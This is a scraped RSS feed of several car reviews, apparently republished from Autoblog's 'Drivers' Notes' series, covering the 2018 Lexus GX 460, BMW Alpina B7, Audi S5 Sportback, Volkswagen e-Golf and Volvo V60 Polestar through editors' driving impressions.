]]> https://briefnews.eu/2018-volkswagen-golf-alltrack-drivers-notes-high-country/feed/ 0 2018 Lexus GX 460 Drivers' Notes Review | When dinosaurs roamed the earth https://briefnews.eu/2018-lexus-gx-460-drivers-notes-review-when-dinosaurs-roamed-the-earth/ https://briefnews.eu/2018-lexus-gx-460-drivers-notes-review-when-dinosaurs-roamed-the-earth/#respond Wed, 11 Apr 2018 17:08:39 +0000 http://briefnews.eu/2018-lexus-gx-460-drivers-notes-review-when-dinosaurs-roamed-the-earth/

The 2018 Lexus GX 460 has been on sale since late 2009. There have been a few minor updates, but a 2018 model is essentially the same as one from 2010. It’s based on the global Toyota Land Cruiser Prado and shares more than a little with the Toyota 4Runner. It slots between the Lexus RX and the big daddy Lexus LX. Despite its age, it’s still a seller. Sales were up in 2017. In fact, the GX had its best year in the U.S. since 2005. Blame cheap gas all you want. Really, people just want SUVs.

We have a base-spec model. The only option is navigation. There’s no heated seats or upgraded audio or safety features like blind-spot monitoring or active cruise control. It’s basic and honest, but it also highlights just how out of date the GX really is.

Editor-in-Chief Greg Migliore: The GX 460 is a body-on-frame, V8-powered, three-row grunt. It’s comfortable and functional, but in a segment with more than a few options, this one struggles to stand out. The styling is polarizing yet somehow also vanilla. The spindle grille looks awkward and out of place — a dissonant interpretation of Lexus’ latest design language — while the lightly flared fenders say almost nothing.

The 4.6-liter V8 only puts out 301 horsepower but still slurps gas to the tune of 15 miles per gallon in the city and 18 mpg on the highway. Power delivery is fine via the six-speed automatic transmission, but the GX 460 feels sluggish from launches. The interior is nice enough with pleasing materials and an intuitive layout. Visibility is solid, you’re certainly high enough up, so the command driving position is confidence-inducing. Not a fan of the eight-inch multimedia screen, which feels small and isn’t the most informative system I’ve ever used.

Overall, I’d give the GX 460 a C+ compared to other vehicles in this segment. Decent, but dated and lacking some compelling elements. That being said, if you’re a Lexus loyalist and want a beastly three-row SUV, you will like this one. If you’re more brand agnostic, there are better options out there.

Associate Editor Reese Counts: Let’s get one thing out of the way — the Lexus GX is old. Yes, it’s been on sale essentially unchanged since late 2009, but that’s not all there is to it. This is a traditional, body-on-frame SUV with a torquey V8 and a real four-wheel drive system. It’s one of the last of its breed. Customers have shifted away from these behemoths, settling on more comfortable and more efficient car-based crossovers. Just look at Lexus’ lineup. Through March, Lexus has sold 5,691 GX. Compare that to 23,790 RX. Cost has a bit to do with it, but really, tastes have changed.

The interior is dated. Our base-trim model didn’t help. There were big blanks where some of the four-wheel drive and heated-seat controls were supposed to go. It looks cheap and just tells passengers you couldn’t afford more. We were also stuck with Toyota’s terrible infotainment system. Some of us on staff experienced frequent Bluetooth connectivity issues (yes, we made sure everything was up to date). There was only one UBS port, a big penalty compared to the competition.

All that said, I really enjoyed driving this thing. It’s surprisingly composed for a body-on-frame SUV. The ride was fantastic, aided in part by forgiving off-road suspension and more sidewall than I’ve seen in years. The seats were shaped perfectly for my back. It was a really great place to be while searching metro Detroit for a new house. The V8 may be relatively underpowered, but it felt strong enough driving in traffic. Sounded good, too.

I liked it so much I actually came home and started looking for used ones online. Buying a 2010 model is essentially the same as buying this one (minus some visual updates). I’ve been wanting a good off-roader for overlanding, and this has the credentials. This may be a dinosaur, but it’s a charming and comfortable one.

Related Video:

Let’s block ads! (Why?)

]]> https://briefnews.eu/2018-lexus-gx-460-drivers-notes-review-when-dinosaurs-roamed-the-earth/feed/ 0 2018 BMW Alpina B7 xDrive Drivers' Notes Review | Bavarian blue bombshell https://briefnews.eu/2018-bmw-alpina-b7-xdrive-drivers-notes-review-bavarian-blue-bombshell/ https://briefnews.eu/2018-bmw-alpina-b7-xdrive-drivers-notes-review-bavarian-blue-bombshell/#respond Wed, 04 Apr 2018 17:02:11 +0000 http://briefnews.eu/2018-bmw-alpina-b7-xdrive-drivers-notes-review-bavarian-blue-bombshell/

Alpina was founded in Germany in 1965. The company has close ties with BMW, as close as any tuner or aftermarket company really could have. In fact, the German government recognizes Alpina as a manufacturer, not just an aftermarket tuner. In the United States, Alpina cars are sold with full warranties through BMW dealers. Techs are fully trained to work on these cars.

The 2018 BMW Alpina B7 is manufactured along the same production line in the same facility as the regular BMW 7 Series. The biggest difference rests under the hood. Instead of a production-spec engine, the B7 gets a 600-horsepower 4.4-liter twin-turbo V8 that was hand assembled in Alpina’s factory and sent to BMW’s production facility. The car is then sent to Alpina for final touches.

The odd thing about the B7 is that it competes very, very closely with the BMW M760i. Both have 600 hp and 590 pound-feet of torque. Both are loaded to the gills with equipment like high-end stereo systems, massaging seats, all-wheel drive and several cows worth of leather. Unlike the Alpina B7, the M760i gets a twin-turbocharged V12.

Editor-in-Chief Greg Migliore: This B7 is a beautiful car. It’s opulent, powerful and it feels special in the way we’ve come to expect from Alpinas. The interior is borderline decadent, with the Tartufo Merino leather sprucing up the 7 Series’ usually buttoned-down cabin. Alpina worked over the V8 to crank out 600 hp, and this big sedan has plenty of juice. Delivery is subtle and smooth, but you still get up to speed quickly. Just for the raw experience, I’d go for the V12-powered 760 — that thing makes the hood soar up like the bow of a motorboat.

I like what Alpina does and how they do it. The company dressed the 7 Series with eye-popping 20-inch wheels, LED head- and foglights, and custom exhaust. It’s imposing yet not overwrought. There’s plenty of curb appeal. Even if some of these custom treatments might be a bit gaudy, the Alpina Blue paint tempers everything to communicate luxury tastefully. It’s always memorable to drive an Alpina.

Associate Editor Reese Counts: I’m a big fan of grossly overpowered sedans. They appeal to my youth, which was spent behind the wheel of American muscle cars that were great up until they had to turn a corner. Goose it and go. The B7 brings me back to those days. It has a torque-rich V8 that helps propel you to extralegal speeds very quickly. The engine revs quickly, though it shifts short of it’s 7,000 rpm redline, even in manual mode.

Like Greg, I think this is a really handsome car. I love the paint and the tasteful application of Alpina badges. I’m especially in love with the classic wheels, though they seem to have lost the hidden lug nuts and valve stem. It’s sporty, but doesn’t give away anything. The interior is quiet and comfortable. All the leather feels truly premium. This might be the first application of piano black trim that I actually really like. If you watch any of our live videos, you’ll know how difficult that is for me to admit.

I also have the same problem with the B7 that Greg does: the M760i and it’s silky smooth V12. BMW makes some wonderful inline-six engines, and the V12 is essentially two of them connected with a common crankshaft. It sings a truly glorious song that outshines the Alpina’s V8. It’s slightly slower and slightly more expensive, but it also feels just a little more special.

All that said, I think I’d take the Mercedes-AMG S63 over both.

Senior Editor, Green John Beltz Snyder: At first, I wasn’t overly impressed with the Alpina B7. The 7 Series already feels lavish, so a unique leather treatment, special badges and unique details are mostly lost on me. I felt the same sense of coddling as I would in any high-end, full-size German sedan. They all seem wondrous in their opulence.

Then I hit the gas. The sound of the car didn’t overwhelm me as much as the feeling of being pressed hard into my seatback. My sunglasses, which were on top of my head, flew behind me and caught behind my neck. I probably made a ridiculous face, too. I was absolutely pinned, and I hadn’t even given this thing full throttle.

The funny thing is, the B7 doesn’t sound particularly wild from the inside. The exhaust note heard from the exterior on Reese’s Live Drive on Facebook (see below) was toned way down from the front seat. The other thing interesting thing is that I actually had to go out of my way to find a place with enough room for full acceleration. On my normal route home, I’d run out of room almost as soon as the car downshifted, catching up with traffic before it had a chance to go buck wild.

When I did find an open stretch of road, I still had to abort acceleration runs early, as the B7 ticked past the speed limit too quickly. This sort of power is fun, but it’s mostly unusable in real-world driving.

A final note: I was driving this car in the pouring rain at night, and in light snow in the morning. In all my playful footwork, I never found the B7 struggling for grip. Despite the sheer force of acceleration, longitudinal grip — split among four wheels — was never a scarcity. That’s impressive.

Related Video:

Let’s block ads! (Why?)

]]> https://briefnews.eu/2018-bmw-alpina-b7-xdrive-drivers-notes-review-bavarian-blue-bombshell/feed/ 0 2018 Audi S5 Sportback Drivers' Notes Review | Pretty, practical, powerful https://briefnews.eu/2018-audi-s5-sportback-drivers-notes-review-pretty-practical-powerful/ https://briefnews.eu/2018-audi-s5-sportback-drivers-notes-review-pretty-practical-powerful/#respond Fri, 23 Mar 2018 14:34:35 +0000 http://briefnews.eu/2018-audi-s5-sportback-drivers-notes-review-pretty-practical-powerful/

Audi recently expanded its A4/A5 lineup with the A5 Sportback, continuing the trend of German automakers adding coupe-like four-door cars, and also finally giving the A7 a little brother. And of course because the traditional coupe and sedan versions have S variants, Audi created an S5 Sportback. It features the same turbocharged 3.0-liter V6 as the S4 sedan and S5 coupe with the same 354 horsepower and 369 pound-feet of torque. And despite being bigger than the S5 coupe, the S5 Sportback is just 0.1 second slower to 60 mph. That sacrifice of course brings more practicality. It certainly sounds like the S5 Sportback could be the ideal blend of style, practicality and performance, and we spent a week with one to find out.

Editor-in-Chief, Greg Migliore: The S5 Sportback is a powerful, elegant car. Audi nailed the design. The lines are strong and the proportions are spot-on. It’s a great base to work with, but the 19-inch wheels, red brake calipers and LED lights make everything pop. It’s a complex look, and the “sportback” segment is strong right now. Audi translates all of the S5’s character into this hatch.

The turbo V6 is strong, and its 354 horses run effortlessly from launches. I think this is one of Audi’s better engines, and it’s got some good ones. I punched up dynamic mode and enjoyed the chassis’ sportier feel. The S5 Sportback is a big car, but it handles well despite its size. The interior is quiet, looks and feels premium and is well-laid out. The latest Audi MMI is pretty intuitive. I had no problem figuring out audio or mapping screens.

The S5 Sportback is handsome and clever. It’s a nice complementary player for Audi, and in the near term, this is where I think the sedan market is heading: upscale and probably with a hatchback cargo area.

Associate Editor, Joel Stocksdale: I pretty much agree with Greg on all accounts here. The S5 Sportback, or the A5 for those who don’t need the power, really seems like the best of all worlds. It looks much more aggressive and exciting than the formal A4/S4 sedan, but isn’t as compromised on practicality as the A5/S5 coupe. In fact, it’s probably more practical than the sedan, since the hatchback provides a massive opening for awkwardly shaped items. It made it easy for me to haul a set of tires up to the office that I needed to put on my Miata.

The S5 Sportback is seriously quick, too. The 354 horsepower and 369 pound-feet of torque, though not world-beating on paper, feel like a lot more from the driver’s seat. The turbo hits hard and fast and provides good power to redline. The automatic transmission shifts smoothly and pretty quickly, if not as fast as dual-clutch units. The S5 is amazingly grippy and stable, too. You can keep adding power and speed in corners and it keeps hanging on. There isn’t much body roll, and the ride is comfortable even in the sporty “Dynamic” setting. The steering is a bit of a disappointment, though. It’s really well-weighted, but it’s lacking in feedback and precision. Also, while the stability is nice, it doesn’t feel as engaging as rear-drive and rear-biased sports sedans like the Jaguar XE and Kia Stinger.

In addition to the styling, practicality and performance, what really makes the S5 Sportback such a great package is the interior. Audi makes some of the best interiors in the business, and the A4/A5/A5 Sportback line has one of the best Audi interiors. The modern design and the high-end aluminum, carbon fiber and wood materials are superb, as is the integration of high-quality screens. And, as Greg mentioned, everything is really easy to understand and use right when you sit down.

Even though there are some cars that do individual things better, few cars have the total package like this Audi.

Related Video:

Let’s block ads! (Why?)

]]> https://briefnews.eu/2018-audi-s5-sportback-drivers-notes-review-pretty-practical-powerful/feed/ 0 2017 Volkswagen e-Golf Drivers' Notes Review | Putting the car first https://briefnews.eu/2017-volkswagen-e-golf-drivers-notes-review-putting-the-car-first/ https://briefnews.eu/2017-volkswagen-e-golf-drivers-notes-review-putting-the-car-first/#respond Mon, 05 Mar 2018 17:51:07 +0000 http://briefnews.eu/2017-volkswagen-e-golf-drivers-notes-review-putting-the-car-first/

The 2017 Volkswagen e-Golf feels both new and familiar at once. It looks, feels and acts like the standard Golf we’ve known and embraced for decades, but the details are different. Obviously, the Golf’s 1.8-liter turbocharged sweetheart has been replaced with a 100 kW electric motor and a 35.8 kWh lithium-ion battery. There are small blue accents both inside and out signifying the car’s green intentions. The wheels are flat 16-inch designs made to improve the car’s aerodynamics. The tachometer has been replaced by a power meter.

The core is still here. It still packs a clean cabin with excellent materials. The battery pack doesn’t take up any additional cargo room. It’s still a Golf, just a little more quiet than we’re used to.

Senior Editor, Green John Beltz Snyder: Historically, I’ve enjoyed various iterations of the Volkswagen Golf, particularly the GTI (of course) and the TDI. Every time I get in one, it feels familiar. The same was true when sitting in this e-Golf for the first time. I immediately felt like I knew the car. The controls, the handling, the layout, even the gear selector all felt natural.

Driving the e-Golf, there’s nothing much about it that screams “This is an EV!” Yeah, it’s quiet, but you don’t hear much whine from the electric motor to make it feel any different from a low-powered internal-combustion Golf. Even the charge meter looks like a normal gas gauge. This car just feels like a Golf with a low center of gravity (which was great in carrying speed on the highway on- and off-ramps).

One EV-specific feature in the e-Golf is the ability to choose levels of regenerative braking. That’s done with the gear lever, the same way you would manually choose gears — by pushing it left or right. There are only three settings from what I could tell, though. To me, it only made sense to have regen all the way on (which can also be done by pulling the lever back to “B”) or all the way off. And the highest level of regen wasn’t enough for one-pedal driving. I would like to have that option, at least.

Associate Editor Joel Stocksdale: I really like this VW e-Golf. Why? It drives like a Golf, and the Golf is good. It has the same sharp steering, lack of body roll and general eagerness in corners. It has a smooth, comfortable ride, even over metro Detroit’s pockmarked streets. It also feels pretty much as peppy as a gas-powered Golf, though I wouldn’t mind the throttle tip-in being a bit more aggressive from a stop, and it does feel less potent as speeds increase. Actually, more power would be fun, too. The chassis can certainly handle it. The e-Golf also has the option of cranking up the regenerative braking, and while it isn’t as aggressive as in a Chevy Bolt EV, it’s still quite strong and a welcome addition.

It’s just as good inside, too. It looks and feels just like a normal Golf, complete with the highly responsive and easy-to-use touchscreen infotainment. The batteries don’t seem to have encroached on the luggage area, either, so you can stuff as much stuff in this as you can a normal Golf. My only real problem with the car is that the EPA-estimated 125-mile range on a single charge, although much improved, still doesn’t compete with the Chevy Bolt (which I took on a long summer road trip) or the Tesla Model 3 and even comes in a bit below the new Nissan Leaf. And I feel that 200 miles is the mark for having a really practical, near-replacement for a daily driver.

Otherwise, I really like the e-Golf. If its range works for your commuting needs, I would say it’s absolutely the one to get. Me, I might wait for a longer-range model. And maybe one with more power. A fully-electric version of Europe’s Golf GTE plug-in? Yeah, that would be awesome.

Related Video:

Let’s block ads! (Why?)

]]> https://briefnews.eu/2017-volkswagen-e-golf-drivers-notes-review-putting-the-car-first/feed/ 0 2018 Volvo V60 Polestar Drivers' Notes Review | Going out with a bang https://briefnews.eu/2018-volvo-v60-polestar-drivers-notes-review-going-out-with-a-bang/ https://briefnews.eu/2018-volvo-v60-polestar-drivers-notes-review-going-out-with-a-bang/#respond Fri, 23 Feb 2018 18:07:22 +0000 http://briefnews.eu/2018-volvo-v60-polestar-drivers-notes-review-going-out-with-a-bang/

Just in time for the reveal of the new 2019 Volvo V60, the outgoing 2018 Volvo V60 Polestar arrived at Autoblog HQ. We drove the refreshed model last year. While we were impressed, compared to the competition, the car was expensive and dated. Still, the limited-production model was never going to be a runaway success and a diehard Volvo enthusiast was never going to look for anything else. It is the only wagon in the class, too.

The V60 Polestar is powered by a “twincharged” — supercharged and turbocharged — 2.0-liter inline-four and sends power to all-four wheels through an eight-speed automatic. That powertrain replaced the turbo inline-six and six-speed auto from the original Polestar V60. In addition to the powerful engine, Polestar fitted adjustable Öhlins DFV shocks, stiffer springs and stiffer anti-roll bars. Polestar models come with 20-inch wheels and summer tires, though this one was wearing winter rubber.

Inside, the V60 Polestar comes with heated sport seats with black leather and blue stitching. The same color combo can be found on the shift boot, center console and steering wheel. There’s matte carbon-fiber trim on the center stack that matches the carbon front splitter and mirror caps.

Associate Editor Reese Counts: To say I have a soft spot for Volvo wagons would be an understatement. My grandpa had a huge influence on my love for cars (I now own his old ’99 Mercedes-Benz C43 AMG). As a kid, I remember poking around in the garage to get a look at his Volvo 1800ES. Along the way he also owned Volvo 200, 700 and 900 Series wagons. My mother owned a Volvo V70 R that regularly blew the doors off Camaros and Mustangs at stoplight drags. I learned to drive in that car. In fact, the only vehicle that had more of an impact on me growing up was probably the Chevy Corvette. My dad has owned 17.

I love the Polestar’s looks. I’m convinced nearly every product Volvo has ever produced has been timeless. Even several years on, the outgoing V60’s design holds up. The Polestar blue and carbon-fiber accents help, but the car is still fantastic in white, black and silver. No one does clean wagon designs like the Swedes.

It drives great, too. The twincharged engine is smooth and powerful. The supercharger does a great job of filling in power until the turbo spools up. It provides some nice whine, too. The 2.0-liter sings a smooth song. It’s just loud enough to not be obnoxious. The eight-speed pops off upshifts with crisp confidence. The steering is quick and reasonably responsive. I’m sure something other than winter tires would help.

This was the first time I’ve had a chance to drive a Polestar-tuned Volvo. In our review, we said that the V60 Polestar was a car for Volvo enthusiasts. I am that enthusiast. Sure, for $ 62,595, I could get a whole lot of other cars. The 2018 Audi S4 that’s currently in the Autoblog garage is a perfect example. Compared to the Volvo, the Audi is quicker, more comfortable, more refined and features a thoroughly modern interior. It just lacks a certain jazz that the Volvo simply oozes.

Editor-in-Chief Greg Migliore: The V60 is a bit of a unicorn these days as a pure sport wagon — not some jacked up car-based creation masquerading as a crossover. Its driving dynamics capture that strong Euro sport feel. There’s plenty of power, and the 362-horsepower engine (super- and turbocharged!) feels strong and sounds good. On a chill February morning, it even produced a bit of a raspy growl. The commute was pretty energetic as the V60 takes corners tightly and returns taut, satisfying steering communication.

I love the bright blue color and the Polestar design cues, like the carbon-fiber splitter, rocker panels and mirror caps. Not a fan of these 20-inch spoked wheels, which look tacky. Inside, the Polestar blue stitching is sporty and the interior is smartly laid out. But like Reese notes, the V60 is based on ancient bones. The interior, with some cheap looking materials, shows its age. Still, I had a blast in the V60 Polestar. I like what it is and what it does. But $ 62,595 feels lofty. I’d take my money elsewhere.

Related Video:

Let’s block ads! (Why?)

]]> https://briefnews.eu/2018-volvo-v60-polestar-drivers-notes-review-going-out-with-a-bang/feed/ 0